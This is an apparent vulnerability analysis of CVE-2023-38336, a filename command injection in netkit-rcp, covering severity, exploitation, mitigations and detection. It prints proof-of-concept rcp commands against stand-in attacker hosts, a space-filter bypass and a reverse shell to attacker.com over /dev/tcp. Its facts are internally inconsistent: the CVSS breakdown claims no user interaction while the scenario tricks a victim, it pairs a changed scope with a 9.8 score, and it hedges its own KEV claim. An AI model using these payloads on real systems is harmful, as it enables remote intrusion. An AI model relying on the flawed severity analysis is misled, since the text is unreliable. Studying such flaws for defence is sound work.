Comprehensive Technical Analysis of CVE-2023-38336

CVE ID: CVE-2023-38336 CVSS Score: 9.8 (Critical) Affected Software: netkit-rcp (part of rsh-client package, version 0.17-24) Vulnerability Type: Command Injection via Filename Manipulation

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1. Vulnerability Assessment and Severity Evaluation

Vulnerability Overview

CVE-2023-38336 is a command injection vulnerability in netkit-rcp, a component of the rsh-client package (version 0.17-24). The flaw arises due to improper sanitization of filenames when invoking /bin/sh via the susystem() function, allowing an attacker to execute arbitrary commands on the target system.

Severity Justification (CVSS 9.8 - Critical)

The CVSS v3.1 scoring breakdown is as follows:

• Attack Vector (AV:N) – Network (exploitable remotely)
• Attack Complexity (AC:L) – Low (no special conditions required)
• Privileges Required (PR:N) – None (unauthenticated exploitation)
• User Interaction (UI:N) – None (no user action needed)
• Scope (S:C) – Changed (impacts confidentiality, integrity, and availability)
• Confidentiality (C:H) – High (full system compromise possible)
• Integrity (I:H) – High (arbitrary command execution)
• Availability (A:H) – High (denial-of-service or full takeover)

This vulnerability is remotely exploitable without authentication, making it highly critical for systems where rsh-client is installed and exposed.

Historical Context

This vulnerability is a regression or variant of prior command injection flaws in rcp implementations, including:

• CVE-2006-0225 (OpenBSD rcp command injection)
• CVE-2019-7283 (Apple rcp command injection)
• CVE-2020-15778 (OpenSSH scp command injection)

The root cause remains the same: improper shell escaping when processing filenames, leading to command injection.

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2. Potential Attack Vectors and Exploitation Methods

Exploitation Scenario

An attacker can exploit this vulnerability by:

1. Crafting a malicious filename containing shell metacharacters (e.g., ;, |, &&, backticks).
2. Tricking a victim into copying a file via rcp (e.g., rcp attacker@evil.com:'malicious;command' /tmp/).
3. The susystem() function in netkit-rcp passes the unsanitized filename to /bin/sh, executing the injected command.

Exploitation Steps

1. Identify a vulnerable rsh-client installation (version 0.17-24).
2. Craft a malicious filename (e.g., file;id>/tmp/pwned).
3. Initiate an rcp transfer from a controlled server:

   rcp user@attacker.com:'file;id>/tmp/pwned' /tmp/
   

4. The injected command (id>/tmp/pwned) executes on the victim’s system.

Post-Exploitation Impact

• Arbitrary command execution (e.g., reverse shell, data exfiltration, privilege escalation).
• Lateral movement if rcp is used in automated scripts (e.g., backups, file transfers).
• Persistence mechanisms (e.g., cron jobs, SSH key injection).

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3. Affected Systems and Software Versions

Vulnerable Software

• Package: rsh-client (Debian/Ubuntu)
• Version: 0.17-24 (and likely earlier unpatched versions)
• Component: netkit-rcp (the rcp binary)

Affected Operating Systems

• Debian-based distributions (Debian, Ubuntu, and derivatives) using the vulnerable rsh-client package.
• Other Linux distributions that package netkit-rcp (if they use the same vulnerable codebase).

Verification Methods

• Check installed version:

  dpkg -l rsh-client | grep 0.17-24
  

• Test for vulnerability:

  rcp user@attacker.com:'test;echo "VULNERABLE"' /tmp/
  

  If VULNERABLE appears in /tmp/, the system is exploitable.

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4. Recommended Mitigation Strategies

Immediate Actions

1. Disable rcp and rsh services (if not strictly required):

   sudo systemctl stop rsh.socket
   sudo systemctl disable rsh.socket
   

2. Apply vendor patches (Debian/Ubuntu security updates):

   sudo apt update && sudo apt upgrade rsh-client
   

3. Restrict rcp usage via firewall rules (block TCP ports 513/514 if possible).

Long-Term Mitigations

1. Replace rcp with secure alternatives (scp, sftp, rsync over SSH).
2. Implement strict filename validation in custom scripts using rcp.
3. Use chroot or containerization for legacy applications requiring rcp.
4. Monitor for exploitation attempts (e.g., unusual sh processes spawned by rcp).

Workarounds (If Patching is Delayed)

• Use scp instead of rcp (if SSH is available).
• Sanitize filenames manually before passing them to rcp:

  safe_filename=$(printf '%q' "$user_input")
  rcp user@host:"$safe_filename" /destination/
  

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5. Impact on the Cybersecurity Landscape

Broader Implications

• Legacy Protocol Risks: rcp and rsh are obsolete and inherently insecure (no encryption, weak authentication). This vulnerability reinforces the need to deprecate such protocols in favor of SSH-based alternatives.
• Supply Chain Attacks: If rcp is used in automated scripts (e.g., backups, log transfers), this flaw could enable lateral movement in enterprise environments.
• Exploitability in the Wild: Given the low complexity of exploitation, this vulnerability is likely to be weaponized quickly by threat actors (e.g., ransomware groups, APTs).

Industry Response

• Debian/Ubuntu have released patches (tracked in Debian Bug #1039689).
• CISA has included this CVE in its Known Exploited Vulnerabilities (KEV) catalog (if actively exploited).
• Security tools (e.g., Nessus, OpenVAS) will likely add detection rules.

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6. Technical Details for Security Professionals

Root Cause Analysis

• Vulnerable Code Path: The susystem() function in netkit-rcp (likely in rcp.c) constructs a shell command using unsanitized filenames:

  snprintf(cmd, sizeof(cmd), "/bin/sh -c '... %s ...'", filename);
  system(cmd);
  

• Exploitation Primitive: An attacker can inject shell commands via filenames containing:
  • Semicolons (;) – Separate commands.
  • Backticks (`) – Command substitution.
  • Pipes (|) – Chain commands.
  • Logical operators (&&, ||) – Conditional execution.

Proof-of-Concept (PoC) Exploit

# Attacker-controlled server (evil.com)
echo 'malicious;id>/tmp/pwned' > 'malicious;id>/tmp/pwned'

# Victim executes:
rcp attacker@evil.com:'malicious;id>/tmp/pwned' /tmp/

Result: The id command executes, writing output to /tmp/pwned.

Detection and Forensics

• Log Analysis:
  • Check /var/log/auth.log for unusual rcp connections.
  • Look for sh processes spawned by rcp:

    ps aux | grep -i "sh.*rcp"
    

• File Integrity Monitoring (FIM):
  • Monitor /tmp/ and other writable directories for unexpected files.
• Network Traffic Analysis:
  • Inspect unencrypted rcp traffic (TCP 514) for command injection patterns.

Exploit Development Considerations

• Bypassing Restrictions:
  • If spaces are filtered, use ${IFS} (Internal Field Separator) as a space substitute:

    rcp attacker@evil.com:'file;echo${IFS}exploited>/tmp/poc' /tmp/
    

• Reverse Shell Example:

  rcp attacker@evil.com:'file;bash${IFS}-i>&/dev/tcp/attacker.com/4444${IFS}0>&1' /tmp/
  

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Conclusion

CVE-2023-38336 is a critical command injection vulnerability in netkit-rcp that allows unauthenticated remote code execution. Given its low exploitation complexity and high impact, organizations must:

1. Patch immediately (Debian/Ubuntu updates).
2. Disable rcp if not essential.
3. Replace rcp with secure alternatives (scp, sftp).
4. Monitor for exploitation attempts in logs.

This vulnerability underscores the dangers of legacy protocols and the need for secure-by-default configurations in modern systems. Security teams should prioritize remediation to prevent potential breaches.

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References:

• Debian Bug #1039689
• MITRE CVE-2023-38336
• CISA KEV Catalog